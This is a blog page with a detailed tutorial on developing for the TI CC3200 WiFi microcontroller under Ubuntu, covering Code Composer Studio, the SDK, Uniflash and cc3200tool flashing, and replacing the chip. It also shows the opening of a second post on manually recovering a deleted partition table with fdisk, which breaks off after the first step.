Wednesday, 7 December 2016

CC3200 with Code Composer Studio and Uniflash under GNU Linux

In this post I’m going to describe all the steps I did to be able to use TI’s Code Composer Studio and Uniflash under Ubuntu for developing on the CC3200 Simplelink WiFi Wireless MCU from Texas Instruments (http://www.ti.com/product/CC3200?keyMatch=cc3200&tisearch=Search-EN-Everything).
These steps may or may not work with other distributions and/or versions of the CC3200 SDK, CCS, CCS ARM compiler, TI-RTOS for simplelink, Uniflash etc.
If you wish to develop under GNU/Linux and you don’t want to use Code Composer Studio (for compiling(TI/gcc compiler) and debugging) but instead use gcc and OpenOCD, check the following link: https://hackpad.com/Using-the-CC3200-Launchpad-Under-Linux-Rrol11xo7NQ
System: Ubuntu 15.10 64 bit, kernel 4.2.0-36-generic .
Code Composer Studio version: v6.1.3
CCS TI ARM compiler: v15.12.2.LTS
TI RTOS for CC3200: v2_16_01_14
CC3200 SDK version: v1.2.0
CC3200 Service Pack: v1.0.1.6-2.6.0.5
Uniflash: v3.4
Board: CC3200-LAUNCHXL Rev 3.2 (http://www.ti.com/tool/CC3200-LAUNCHXL?keyMatch=cc3200&tisearch=Search-EN-Everything) with replaced MCU (see below).
cc3200tool is an open alternative to TI’s Uniflash. Flashing with Uniflash is described in steps 7 and 8. Flashing with cc3200tool is described in steps 7a and 8a. If you intend to use TI’s Uniflash, just ignore step 7a and 8a.
Step 9 describes replacing the XCC3200HZ present on my old revision of Launchpad with the CC3200R1. If you have a Launchpad with CC3200R1 just ignore this step. If your Launchpad has XCC3200HZ you can either 1.Buy a new Launchpad with CC3200R1, 2.Modify the cc3200.gel and cc3200v1p32.cmd for XCC3200HZ, 3.Follow the instructions at step 9 and replace the XCC3200HZ with CC3200R1 revision.
You can click any image in this post to see a larger version of it.
Step 1. Download and install Code Composer Studio
Visit http://www.ti.com/tool/ccstudio and download the Linux web installer. This will be in the form of an archive called CCS_web_linux.tar.gz. This contains two files, a README_FIRST.txt and in my case ccs_setup_6.1.3.00033.bin. Extract the contents of the archive and execute the provided .bin file.
1
2
3
$ tar -zxvf ~/Downloads/CCS_web_linux.tar.gz
$ chmod 777 ccs_setup_6.1.3.00033.bin
$ ./ccs_setup_6.1.3.00033.bin
This will start the installer. Accept the terms and conditions and click Next. The next window will ask you to specify an install folder for CCS, in my case it’s /home/simi/ti3. Click Next. The next page will ask you for what processor support to install. If you don’t care about other CPUs/MCUs/DSPs/etc from TI, but only about CC3200 with TI compiler, choose the following:
CCS1
Click Next. On the “Select Debug Probes” prompt, leave the ones that are selected by default. In my case they are “TI XDS Debug Probe” and “Tiva/Stellaris ICDI Debug Probe” (and they are greyed out, can’t uncheck them).
CCS2
Click Next. On the next page don’t enable anything if you don’t needed (like the EVE compiler and GUI composer), just click Finish. Now the installer will download some of the needed components and install them. Grab a cup of coffee and let it finish.
After this is complete, run as root the install_drivers.sh script from where you installed CCS
1
2
3
4
$ sudo ~/ti3/ccsv6/install_scripts/install_drivers.sh
TI XDS100 installation completed successfully.  Some versions of Linux
require a reboot in order for the driver to function properly.  For other
versions restarting udev is sufficient.  Restarting udev now ...
Next, start CCS. Either use the shortcut on your desktop or open a terminal and execute it from there
1
$ ./ti3/ccsv6/eclipse/ccstudio
When CCS is started, it will ask for a workspace location, in my case it’s /home/simi/workspace_v6_1_3_ex .
Next step, go to CCS App Center and select TI-RTOS CC32XX and TI ARM Compiler, click install:
CCS3
After this, CSS will prompt for a restart. Restart it and let it finish installing the selected items.
Step 2. Download and install the CC3200 SDK
Visit http://www.ti.com/tool/cc3200sdk and download the CC3200 SDK. This will be a windows binary, in my case it’s called CC3200SDK-1.2.0-windows-installer.exe . Start it with wine.
1
$ wine ~/Downloads/CC3200SDK-1.2.0-windows-installer.exe
This will start the installer. Click Next and accept the terms and conditions. The next step will ask you where to install the SDK. Don’t keep the default location (C:\TI\CC3200SDK_1.2.0), preferably make it point to your TI folder, like this Z:\home\simi\ti3 . Click next, let it finish installing. When prompted for installing FTDI drivers, click no. If the installer crashes at this step just ignore it.
Step 3. Import an example and tweak CCS to make it actually work
In this post, I’m choosing the CC3200 “wlan_ap” example. It’s a fairly complex example and if this works OK, probably the other examples will also compile OK.
In CCS, on the Getting Started page, click “Import Project”, click Browse and select the CC3200 SDK folder.
CCS4
Now check “wlan_ap”, “driverlib”, “oslib”, “simplelink” and “ti_rtos_config”. Do not check the “Copy projects into workspace” box, the wlan_ap project will be automatically imported in your workspace, the other projects will remain where they should, in the SDK. Click Finish.
If you try at this point to compile the wlan_ap example you’ll get a bunch of unresolved symbol errors. If you look at oslib project, it will give an error: “This project was created using a version of compiler that is not currently installed: 5.2.6 [ARM].”
Right click on this project and select properties. Under the Compiler Version , choose the compiler that you have installed instead of the old 5.2.6. In my case it’s 15.12.2.LTS.
CCS5
Repeat this step for the rest of the projects, “wlan_ap”, “driverlib”, “simplelink” and “ti_rtos_config”.
Now rebuild the projects. Right click on “driverlib” and click Rebuild Project.
CCS6
Repeat this step for “oslib” project.
When trying to rebuild the “simplelink” project, it will fail with :
gmake: *** No rule to make target ‘/home/simi/ti3/cc3200-sdk/simplelink/Source/device.c’, needed by ‘device.obj’. simplelink Unknown C/C++ Problem
gmake: *** No rule to make target ‘/home/simi/ti3/cc3200-sdk/simplelink/Source/driver.c’, needed by ‘driver.obj’. simplelink Unknown C/C++ Problem
……..
gmake: *** No rule to make target ‘/home/simi/ti3/cc3200-sdk/simplelink/Source/wlan.c’, needed by ‘wlan.obj’. simplelink Unknown C/C++ Problem
gmake: Target ‘all’ not remade because of errors. simplelink C/C++ Problem
The problem is caused by TI using a mix of uppercase and lowercase characters in their Makefiles for the “source” directory. (Source and source). A simple dirty fix for this is to make symlink.
1
$ ln -s ~/ti3/cc3200-sdk/simplelink/source ~/ti3/cc3200-sdk/simplelink/Source
After creating this symlink, right click on the “simplelink” project and hit Rebuild Project. This time it will compile.
Next is the “ti_rtos_config” project. This step may generate an error if an incompatible version of TI RTOS is installed, or a warning if a compatible version of TI RTOS is installed. Right click on the “ti_rtos_config” project and select properties. Under the RTSC tab, under “TI-RTOS for CC32XX”, check the version of TI RTOS that you have installed. In my case it’s 2.16.1.14.
CCS7
After selecting the TI RTOS for CC3200 version, click OK try to rebuild the “ti_rtos_config” project again. This may fail with the following error:
“makefile:38: recipe for target ‘configPkg/linker.cmd’ failed
/home/simi/ti3/xdctools_3_32_00_06_core/xs.x86_64U: error: can’t create session manager: can’t find a JVM; the environment variable ‘XDCTOOLS_JAVA_HOME’ is set, but does not appear to be a directory containing a 64-bit Java Runtime Environment (1.7 or greater); e.g., ‘/usr/lib/jvm/java-7-openjdk-amd64′.”
Right click again on the “ti_rtos_config”, click Properties. Go to “Build”, click the “Environment” tab. There should be an XDCTOOLS_JAVA_HOME variable. Select it, click on edit and replace “/home/simi/ti3/ccsv6/eclipse/jre” with a location pointing to your JRE installation, in my case it’s “/usr/lib/jvm/java-7-openjdk-amd64″
CCS8
Click OK, OK. Right click on “ri_rtos_config” project and rebuild it. This time it should compile without issues.
After “driverlib”, “oslib”, “simplelink” and “ti_rtos_config” projects were compiled, it’s time for the actual example, “wlan_ap”. Right click on it and select rebuild project. It should compile without issues.
Connect the Launchad to your computer with an USB cable. You should see the following in dmesg:
1
2
3
4
5
6
7
$ dmesg | tail
[12350.305079] usb 1-4: new full-speed USB device number 9 using xhci_hcd
[12350.438043] usb 1-4: New USB device found, idVendor=0451, idProduct=c32a
[12350.438046] usb 1-4: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[12350.438048] usb 1-4: Product: USB <-> JTAG/SWD
[12350.438050] usb 1-4: Manufacturer: FTDI
[12350.438051] usb 1-4: SerialNumber: cc3200
Set the “wlan_app” project active by double clicking on it. The next step would be to press F11 or click Run->Debug in CCS but this won’t work because it’s missing the configuration file for debugging the CC3200 device.
CCS9
Click No. Go to View->Target Configurations. A “Target Configuration” window will appear. Right click on “User Defined” and select “Import Target Configuration”.
CCS10
Import the CC3200.xml file from your CC3200 SDK directory, in my case the file is located in /home/simi/ti3/cc3200-sdk/tools/ccs_patch/CC3200.xml. Click OK and select “Copy files” when prompted. Now in the “Target Configuration” window right click on the CC3200.xml under “User Defined” -> “Link File To Project” and select your project. In this case it’s “wlan_ap”.
CCS11
Now a CC3200.ccxml entry will appear in the “wlan_ap” project. After this step you can click Run->Debug/press F11 to start debugging the application.
CCS12
Step 4. UART connection
If the J6 and J7 jumpers are set on the “FLASH” position, the CC3200 UART goes to the FT2232C device on the LAUNCHPAD. If dmesg if checked, there is no ttyUSB* or ttyACM* device created.
In order to to this, first stop debugging in CCS. Under root run the following:
1
2
3
$ sudo su
# modprobe ftdi-sio
# echo 0451 c32a > /sys/bus/usb-serial/drivers/ftdi_sio/new_id
I created an udev rule for the above, which also changes the /dev/ttyUSB* file permission.
1
2
3
# cat /etc/udev/rules.d/71-ti-cc3200.rules 
ATTRS{idProduct}=="c32a", ATTRS{idVendor}=="0451", RUN+="/sbin/modprobe ftdi_sio", RUN+="/bin/sh -c '/bin/echo 0451 c32a > /sys/bus/usb-serial/drivers/ftdi_sio/new_id'"
KERNEL=="ttyUSB[0-9]*",MODE:="0666"
If dmesg is checked again ttyUSB0 and ttyUSB1 devices will appear:
1
2
3
4
5
6
7
8
9
[13714.326040] usbserial: USB Serial support registered for generic
[13714.329882] usbcore: registered new interface driver ftdi_sio
[13714.329906] usbserial: USB Serial support registered for FTDI USB Serial Device
[13725.876536] ftdi_sio 1-4:1.0: FTDI USB Serial Device converter detected
[13725.876663] usb 1-4: Detected FT2232C
[13725.877050] usb 1-4: FTDI USB Serial Device converter now attached to ttyUSB0
[13725.877116] ftdi_sio 1-4:1.1: FTDI USB Serial Device converter detected
[13725.877181] usb 1-4: Detected FT2232C
[13725.877482] usb 1-4: FTDI USB Serial Device converter now attached to ttyUSB1
Don’t worry about /dev/ttyUSB0, this is used by CCS while debugging and the /dev entry will actually disppear leaving only /dev/ttyUSB1.
/dev/ttyUSB1 can be used for seeing the CC3200 UART output or for flashing the SPI flash memory attached to the microcontroller (with Uniflash or cc3200tool alternative).
Open a terminal and start minicom (or your favorite alternative)
1
$ minicom -s
And select 115200 baud rate, 8n1, no flow control:
MNCM1
Now that minicom is started and listening on ttyUSB1, go back to CCS and start debugging the application.
CCS13
Both debugging and UART output from the MCU are working. Note that at this point ttyUSB0 device no longer exists.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ dmesg | tail
[13714.329882] usbcore: registered new interface driver ftdi_sio
[13714.329906] usbserial: USB Serial support registered for FTDI USB Serial Device
[13725.876536] ftdi_sio 1-4:1.0: FTDI USB Serial Device converter detected
[13725.876663] usb 1-4: Detected FT2232C
[13725.877050] usb 1-4: FTDI USB Serial Device converter now attached to ttyUSB0
[13725.877116] ftdi_sio 1-4:1.1: FTDI USB Serial Device converter detected
[13725.877181] usb 1-4: Detected FT2232C
[13725.877482] usb 1-4: FTDI USB Serial Device converter now attached to ttyUSB1
*started debugging*
[14066.447232] ftdi_sio ttyUSB0: FTDI USB Serial Device converter now disconnected from ttyUSB0
[14066.447252] ftdi_sio 1-4:1.0: device disconnected
$ ls /dev/ttyUSB*
/dev/ttyUSB1
Step 5. CCS debugging problems
First time when debugging and running the code on the CC3200 it will work properly. As we can see in the next picture, the MCU is now waiting for UART input:
CCS14
If debugging is stopped and started again, it will fail:
CCS15
The next time debugging is started it will work properly. 1 OK, 1 FAIL, 1 OK, 1 FAIL and so on.
A simple fix for this is simply to press the Reset button on the Launchpad each time after ending a debugging session.
Step 6. CC3200 service pack installation
Go to http://www.ti.com/tool/cc3200sdk and download the CC3200 service pack (CC3200SDK-SERVICEPACK). At the time of writing this post, the latest version is v1.0.1.6-2.6.0.5.
This will again download a windows .exe. Install it with wine.
1
$ wine ~/Downloads/CC3100_CC3200_ServicePack-1.0.1.6-2.6.0.5-windows-installer.exe
Click next, accept the terms and conditions, next. When prompted for the install path remove the default location (C:\TI\CC3100_CC3200_ServicePack_1.0.1.6-2.6.0.5) and preferably install it in your ti directory, in my case it’s “Z:\home\simi\ti3\CC3100_CC3200_ServicePack_1.0.1.6-2.6.0.5″.
If the installer fails like this:
WINE1
Don’t worry, all the needed files were already copied. If this bother you, you can open a terminal and change wine’s Windows version:
1
$ winecfg
WINE3
I had Windows 7 selected. After changing to Windows XP, the Service Pack installer completed successfully.
Now, in your service pack installation directory, you will have the following files installed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ tree  ti3/CC3100_CC3200_ServicePack_1.0.1.6-2.6.0/
ti3/CC3100_CC3200_ServicePack_1.0.1.6-2.6.0/
-- host_programming
-----host_programming_1.0.1.6-2.6.0.5_ucf.h
-----host_programming_1.0.1.6-2.6.0.5_ucf-signed.h
-- license.pdf
-- manifest.html
-- ota
----- ota_1.0.1.6-2.6.0.5.ucf.signed.bin
----- ota_1.0.1.6-2.6.0.5.ucf.ucf
-- readme.txt
-- servicepack_1.0.1.6-2.6.0.5.bin
-- uninstall.exe
2 directories, 9 files
Step 7. Flashing – TI’s Uniflash
For flashing the SOP2 jumper must be installed on the board. If the MCU is reset whith this jumper present, it will go into bootloader/programming mode.
Note that while debugging on the CC3200 Launchpad with CCS, it doesn’t matter if the SOP2 jumper is present or not.
After flashing, to be able to actually run your application, remove this jumper and reset the MCU.
Flashing uses the same serial port that’s used for seeing the MCU UART output. If you have minicom or another program keeping that /dev/ttyUSB1 device open, close that program first.
Ensure that J6 and J8 jumpers are set on FLASH position and SOP2 jumper is set:
20160610_013505
Go to http://processors.wiki.ti.com/index.php/Category:CCS_UniFlash and download the Linux version of Uniflash. Next execute the downloaded bin file. In my case it’s called uniflash_setup_3.4.1.00012.bin.
1
2
$ chmod 777 Downloads/uniflash_setup_3.4.1.00012.bin
$ ./Downloads/uniflash_setup_3.4.1.00012.bin
When the installer is started, click next, accept the agreement, next. Now choose the installation directory. I recommend to install it along the other TI tools installed earlier. I installed it in /home/simi/ti3/uniflash_3.4 . The next page will ask you about the platform support that you wish to install. If you don’t care about other MCUs/CPUs/DSPs, just check the items related to CC3200, like this:
UNIF2
Click Next, don’t check any additional JTAG debug probes (like Blackhawk and Spectrum Digital debug probes), click Next, Next. After all the files are copied, click Finish.
Now start the Uniflash tool. If you haven’t installed the above udev rule, you will need to run Uniflash with root rights. This post is going to cover only the GUI version, not the CLI one.
1
./ti3/uniflash_3.4/eclipse/uniflash
Now that Uniflash is started, click File->New Configuration. Under Target Setup, at Connection, select CC3X Serial(UART) Interface.
UNIF3
Click OK. Now under CC31XX/CC32XX Flash Setup and Control page, under COM port, enter your serial port number. DO NOT enter something like /dev/ttyUSB1 or ttyUSB1, even if that device does not exist (like /dev/ttyUSB999, Uniflash will just ask you to restart the device and complaing about not getting an ACK).
UNIF4
If your flashing port is /dev/ttyUSB1, just enter 1 under COM port. Now click “Get Version” to verify if the connection is OK.
UNIF5
Now go to “System Files” and click on “/sys/mcuimg.bin”. Under URL, select the wlan_ap binary of the example that was compiled in CCS, eg. /home/simi/workspace_v6_1_3_ex/wlan_ap/Release/wlan_ap.bin .
Check the “Erase”, “Update” and “Verify” boxes
UNIF6
Next click on Operation->Program. If everything is OK, it should look like this:
UNIF7
Complete flashing log:
[16:14:47] Begin Program operation.
[16:14:47] INFO: > Executing Operation: Connect
[16:14:49] WARNING: flush succeeded
[16:14:49] INFO: setting break signal
[16:14:49] INFO: — please restart the device —
[16:14:49] INFO: connection succeeded
[16:14:49] INFO: getting storage list
[16:14:49] INFO: > Executing Operation: Init
[16:14:49] INFO: reading version info
[16:14:49] INFO: DEVICE CC3200 ES1.33
[16:14:49] INFO: reading version info
[16:14:50] INFO: reading version info
[16:14:52] INFO: > Executing Operation: Program
[16:14:52] INFO: > File name: /sys/mcuimg.bin, Update: true, Erase: true
[16:14:52] INFO: > Erase File: /sys/mcuimg.bin
[16:14:52] INFO: erasing file “/sys/mcuimg.bin”
[16:14:52] INFO: deleting file “/sys/mcuimg.bin”
[16:14:52] INFO: erase file completed
[16:14:52] INFO: > Size of file = 62804
[16:14:52] INFO: > Update File: /sys/mcuimg.bin
[16:14:52] INFO: Downloading file “/sys/mcuimg.bin” with size 62804
[16:14:55] INFO:
New Token is 0x0
[16:14:55] INFO: Download complete
[16:14:55] INFO: Verifying Data…
[16:14:55] INFO: get file
[16:14:58] INFO: Done. Reading 62804 bytes
[16:14:58] INFO:
Verification OK
[16:14:59] INFO: > Updated Token value: 0x0
[16:14:59] INFO: > File name: /cert/ca.pem, Update: false, Erase: false
[16:14:59] INFO: > File name: /cert/client.pem, Update: false, Erase: false
[16:14:59] INFO: > File name: /cert/private.key, Update: false, Erase: false
[16:14:59] INFO: > File name: /sys/macadd.bin, Update: false, Erase: true
[16:14:59] INFO: > Erase File: /sys/macadd.bin
[16:14:59] INFO: erasing file “/sys/macadd.bin”
[16:14:59] INFO: deleting file “/sys/macadd.bin”
[16:14:59] INFO: erase file completed
[16:14:59] INFO: > File name: /sys/mode.cfg, Update: false, Erase: false
[16:14:59] INFO: > File name: /sys/ipcfg.ini, Update: false, Erase: false
[16:14:59] INFO: > File name: /sys/ap.cfg, Update: false, Erase: false
[16:14:59] INFO: > File name: /sys/devname.cfg, Update: false, Erase: false
[16:14:59] INFO: > File name: /sys/mdns.cfg, Update: false, Erase: false
[16:14:59] INFO: > File name: /sys/dhcpsrv.cfg, Update: false, Erase: false
[16:14:59] INFO: > File name: /sys/httpsrv.cfg, Update: false, Erase: false
[16:14:59] INFO: > File name: /sys/pref.net, Update: false, Erase: false
[16:14:59] INFO: > File name: /sys/smartconfigkeys.cfg, Update: false, Erase: false
[16:14:59] INFO: > File name: /sys/stacfg.ini, Update: false, Erase: false
[16:14:59] INFO: > File name: /sys/p2p.cfg, Update: false, Erase: false
[16:14:59] INFO: > File name: /sys/pmcfg.ini, Update: false, Erase: false
[16:14:59] INFO: > Executing Operation: Disconnect
[16:14:59] Operation Program returned.
Now the wlan_ap.bin is stored on the FLASH memory attached to the CC3200 (on the FLASH FS it’s called mcuimg.bin). Remove SOP2 jumper (for normal operation after reset as in don’t go to flashing mode), start minicom on /dev/ttyUSB1 and press the RESET button for normal operation:
MNCM2
At this point if an SSID is provided, a new wireless network will appear with that name.
Step 8. Flash formatting, service pack update – TI’s Uniflash
In Uniflash, under “CC31XX/CC32XX Flash Setup and Control” click the Format button. A pop-up window will appear where the FLASH size must be selected. The CC3200 Launchpad has 1MB of SPI FLASH.
UNIF8
After clicking OK, Uniflash will format the FLASH. Complete log of the operation should look like this:
[16:28:06] Begin Format operation.
[16:28:06] INFO: > Executing Operation: Connect
[16:28:08] WARNING: flush succeeded
[16:28:08] INFO: setting break signal
[16:28:08] INFO: — please restart the device —
[16:28:08] INFO: connection succeeded
[16:28:08] INFO: getting storage list
[16:28:08] INFO: > Executing Operation: Init
[16:28:08] INFO: reading version info
[16:28:08] INFO: DEVICE CC3200 ES1.33
[16:28:08] INFO: reading version info
[16:28:09] INFO: reading version info
[16:28:11] INFO: > Executing Operation: Format
[16:28:11] INFO: Erase storage SFLASH
[16:28:12] INFO: erase storage succeeded
[16:28:12] INFO: erase storage completed
[16:28:12] INFO: > Executing Operation: Disconnect
[16:28:12] Operation Format returned.
Next step is updating the service pack. Under “CC31XX/CC32XX Flash Setup and Control” click the “Service Pack Programming” button. Now select the service pack .bin file from the CC3200 Service Pack installation directory. In my case the file is called servicepack_1.0.1.6-2.6.0.5.bin and is located in ~/ti3/CC3100_CC3200_ServicePack_1.0.1.6-2.6.0 directory.
UNIF9
Click OK to begin the Service Pack update. The service pack update log should look like this:
[16:31:54] INFO: connection succeeded
[16:31:54] INFO: getting storage list
[16:31:54] INFO: > Executing Operation: ServicePackProgramming
[16:31:54] INFO: Path to the service pack file: /home/simi/ti3/CC3100_CC3200_ServicePack_1.0.1.6-2.6.0/servicepack_1.0.1.6-2.6.0.5.bin
[16:31:54] INFO: reading version info
[16:31:54] INFO: CC3200R Device detected.
[16:31:54] INFO: NWP/MAC/PHY Version from Service Pack:
[16:31:54] INFO: NWP Patch version: 2.6.0.5
[16:31:54] INFO: MAC Patch version: 1.4.0.1
[16:31:54] INFO: PHY Patch version: 1.0.3.34
[16:31:54] INFO: reading version info
[16:31:54] INFO: DEVICE CC3200 ES1.33
[16:31:54] INFO: reading version info
[16:31:56] INFO: reading version info
[16:31:57] INFO: Downloading file “/sys/servicepack.ucf” with size 25820
[16:32:02] INFO:
New Token is 0x3764C432
[16:32:02] INFO: Download complete
[16:32:02] INFO: > Executing Operation: Disconnect
[16:32:02] Operation ServicePackProgramming returned.
Click on “List File System” under “CC31XX/CC32XX Flash Setup and Control” it will list all the files that are stored on the flash memory:
[16:33:52] INFO: N/A 0 5 N/A 5 FATFS
[16:33:52] INFO: 4 5 5 yes 10 /tmp/phy.cal
[16:33:52] INFO: 6 15 33 yes 66 /sys/servicepack.ucf
Now the CC3200 has the latest service pack on its flash memory. Since the flash was formatted earlier, no user code is present (mcuimg.bin). Follow the instructions from step 7 and flash the wlan_ap example (don’t format the flash, just select the bin file and click Program.
After flashing /home/simi/workspace_v6_1_3_ex/wlan_ap/Release/wlan_ap.bin, clicking on the “List File System” button should list the following:
[16:37:25] INFO: N/A 0 5 N/A 5 FATFS
[16:37:25] INFO: 0 81 16 yes 32 /sys/mcuimg.bin
[16:37:25] INFO: 4 5 5 yes 10 /tmp/phy.cal
[16:37:25] INFO: 6 15 33 yes 66 /sys/servicepack.ucf
Great, flash was formatted, service pack is updated, wlan_ap example is flashed (mcuimg.bin).
Step 7a. Flashing – cc3200tool – open alternative to Uniflash
If you intend to use TI’s Uniflash, ignore this part about cc3200tool.
For flashing the SOP2 jumper must be installed on the board. If the MCU is reset whith this jumper present, it will go into bootloader/programming mode.
Note that while debugging on the CC3200 Launchpad with CCS, it doesn’t matter if the SOP2 jumper is present or not.
After flashing, to be able to actually run your application, remove this jumper and reset the MCU.
Flashing uses the same serial port that’s used for seeing the MCU UART output. If you have minicom or another program keeping that /dev/ttyUSB1 device opened, close that program first.
There’s an open alternative to TI’s Uniflash cc3200tool. You can read more about it at https://github.com/ALLTERCO/cc3200tool
Install cc3200tool:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ git clone http://github.com/ALLTERCO/cc3200tool.git
$ cd cc3200tool
$ sudo python setup.py install
/usr/lib/python2.7/distutils/dist.py:267: UserWarning: Unknown distribution option: 'install_requires'
  warnings.warn(msg)
running install
running build
running build_py
running build_scripts
running install_lib
running install_scripts
changing mode of /usr/local/bin/cc3200tool to 775
running install_egg_info
Removing /usr/local/lib/python2.7/dist-packages/cc3200tool-0.1.0.egg-info
Writing /usr/local/lib/python2.7/dist-packages/cc3200tool-0.1.0.egg-info
cc3200tool requires pyserial. The one present in Ubuntu 15.10 repos isn’t working, cc3200tool would just fail with:
1
2016-06-09 21:37:09,170 -- Could not connect to target: 'Serial' object has no attribute 'send_break'
If you have installed pyserial from Ubuntu’s repo, remove it and install a newer one. You can check out commit 5d772fcd6969652fb8f2361f1fd5c1c5884e7a80 , that worked fine for me.
1
2
3
4
5
6
7
8
9
10
11
12
$ git clone https://github.com/pyserial/pyserial.git
Cloning into 'pyserial'...
remote: Counting objects: 4950, done.
remote: Compressing objects: 100% (42/42), done.
remote: Total 4950 (delta 13), reused 0 (delta 0), pack-reused 4908
Receiving objects: 100% (4950/4950), 1.36 MiB | 540.00 KiB/s, done.
Resolving deltas: 100% (3608/3608), done.
Checking connectivity... done.
$ cd pyserial
#optional step:
$ git checkout 5d772fcd6969652fb8f2361f1fd5c1c5884e7a80
sudo python setup.py install
Now we can flash the board with cc3200tool. Ensure that J6 and J8 jumpers are set on FLASH position and SOP2 jumper is set:
20160610_013505
Let’s flash the newly compiled “wlan_ap” example. Press the RESET button when prompted.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ sudo cc3200tool -p /dev/ttyUSB1  --reset  prompt write_file /home/simi/workspace_v6_1_3_ex/wlan_ap/Release/wlan_ap.bin /sys/mcuimg.bin
2016-06-10 01:38:27,344 -- Connecting to target...
Reset the device with SOP2 asserted and press Enter
2016-06-10 01:38:32,494 -- timed out while waiting for ack
2016-06-10 01:38:34,751 -- timed out while waiting for ack
2016-06-10 01:38:35,005 -- Connected, reading version...
2016-06-10 01:38:35,006 -- connected to target
2016-06-10 01:38:35,007 -- Version: CC3x00VersionInfo((0, 4, 1, 2), (0, 0, 0, 0), (0, 0, 0, 0), (0, 0, 0, 0), (16, 0, 0, 0))
2016-06-10 01:38:35,007 -- This is a CC3200 device
2016-06-10 01:38:35,007 -- Switching to NWP bootloader...
2016-06-10 01:38:35,008 -- Switching UART to APPS...
2016-06-10 01:38:35,009 -- Resetting communications ...
2016-06-10 01:38:38,265 -- timed out while waiting for ack
2016-06-10 01:38:38,522 -- Uploading rbtl3100s.dll...
2016-06-10 01:38:38,523 -- Getting storage list...
2016-06-10 01:38:38,523 -- Getting storage info...
2016-06-10 01:38:38,524 -- storage info bytes: 0x10, 0x0, 0x0, 0x10, 0x0, 0x0, 0x0, 0x0
2016-06-10 01:38:39,196 -- APPS version: CC3x00VersionInfo((0, 4, 0, 2), (0, 0, 0, 0), (0, 0, 0, 0), (0, 0, 0, 0), (16, 0, 0, 0))
2016-06-10 01:38:39,198 -- File exists on target, erasing
2016-06-10 01:38:39,200 -- Erasing file /sys/mcuimg.bin...
2016-06-10 01:38:39,348 -- Uploading file /home/simi/workspace_v6_1_3_ex/wlan_ap/Release/wlan_ap.bin -> /sys/mcuimg.bin [62804]...
................
2016-06-10 01:38:41,500 -- All commands done, bye.
Now remove SOP2 jumper (for normal operation after reset as in don’t go to flashing mode), start minicom on /dev/ttyUSB1 and press the RESET button for normal operation:
MNCM2
At this point if an SSID is provided, a new wireless network will appear with that name.
Step 8a. Flash formatting, service pack update – cc3200tool – open alternative to Uniflash
If you intend to use TI’s Uniflash, ignore this part about cc3200tool.
Next step if formatting the flash, copy the service pack files and the wlan_ap example. The flash size on the Launchpad is 1MB. SOP2 jumper must be in place.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
sudo cc3200tool -p /dev/ttyUSB1  --reset  prompt format_flash \
--size=1M write_file  --signature \
home/simi/ti3/CC3100_CC3200_ServicePack_1.0.1.6-2.6.0/ota/ota_1.0.1.6-2.6.0.5.ucf.signed.bin \
/home/simi/ti3/CC3100_CC3200_ServicePack_1.0.1.6-2.6.0/ota/ota_1.0.1.6-2.6.0.5.ucf.ucf \
/sys/servicepack.ucf write_file \
/home/simi/workspace_v6_1_3_ex/wlan_ap/Release/wlan_ap.bin \
/sys/mcuimg.bin
2016-06-10 14:40:15,688 -- Connecting to target...
Reset the device with SOP2 asserted and press Enter
2016-06-10 14:40:16,585 -- Connected, reading version...
2016-06-10 14:40:16,587 -- connected to target
2016-06-10 14:40:16,587 -- Version: CC3x00VersionInfo((0, 4, 1, 2), (0, 0, 0, 0), (0, 0, 0, 0), (0, 0, 0, 0), (16, 0, 0, 0))
2016-06-10 14:40:16,587 -- This is a CC3200 device
2016-06-10 14:40:16,587 -- Switching to NWP bootloader...
2016-06-10 14:40:16,589 -- Switching UART to APPS...
2016-06-10 14:40:16,590 -- Resetting communications ...
2016-06-10 14:40:17,846 -- Uploading rbtl3100s.dll...
2016-06-10 14:40:17,847 -- Getting storage list...
2016-06-10 14:40:17,847 -- Getting storage info...
2016-06-10 14:40:17,848 -- storage info bytes: 0x10, 0x0, 0x0, 0x10, 0x0, 0x0, 0x0, 0x0
2016-06-10 14:40:18,520 -- APPS version: CC3x00VersionInfo((0, 4, 0, 2), (0, 0, 0, 0), (0, 0, 0, 0), (0, 0, 0, 0), (16, 0, 0, 0))
2016-06-10 14:40:18,520 -- Formatting flash with size=1024
2016-06-10 14:40:19,711 -- Uploading file /home/simi/ti3/CC3100_CC3200_ServicePack_1.0.1.6-2.6.0/ota/ota_1.0.1.6-2.6.0.5.ucf.ucf -> /sys/servicepack.ucf [25820]...
.......
2016-06-10 14:40:20,874 -- Uploading file /home/simi/workspace_v6_1_3_ex/wlan_ap/Release/wlan_ap.bin -> /sys/mcuimg.bin [62804]...
................
2016-06-10 14:40:23,007 -- All commands done, bye.
After removing the SOP2 jumper, starting minicom on ttyUSB1 and resetting the board:
MNCM3
Step 9. CC3200 IC replacement
My Launchapd had an experimental silicon revision of the CC3200, called XCC3200HZ.
20160609_170403
I replaced this with CC3200R1. XCC3200HZ has only 192kB of RAM (with 176kB actually usable for user application) vs 256kB for the CC3200R1.
When debugging the XCC3200HZ, there may be some errors (like Trouble Reading Memory Block at 0x20030008 on Page 0 of Length 0x4: Debug Port error occurred. ) if the cc3200.gel (/ccsv6/ccs_base/emulation/gel/cc3200.gel) and cc3200v1p32.cmd (from project) files are not modified.
Also, the latest CC3200 Service Pack is not compatible with XCC3200HZ.
New IC:
20160609_170534
Removed the old one using a hot air tool:
20160609_171506
Added leaded solder to the pads, wicked it to remove the old+new solder and tinned the pads with leaded solder followed by a clean-up with isopropyl alcohol.
20160609_172448
Added flux, placed the new IC on the pads and soldered it with a hot air tool.
20160609_174028
I hope that this post may be of some help for some other troubled souls out there. If you have any questions, post them in the comments and I’ll do my best to answer them.

Tuesday, 6 December 2016

Recovering a Deleted Partition Table


Below are instructions for manually recovering a deleted partition table. There are utilities such as gpart or TestDisk which can make this task considerably easier. If you are reading this, however, because you have run out of luck, this is what you will have to do:

  1. Make a partition that is at least as big as your first partition was. You can make it larger than the original partition by any amount. If you underestimate, there will be much wailing and gnashing of teeth.
    Command (m for help): n
    Command action
       e   extended
       p   primary partition (1-4)
    p
    Partition number (1-4): 1
    First cylinder (1-23361, default 1): <RETURN>
    Using default value 1
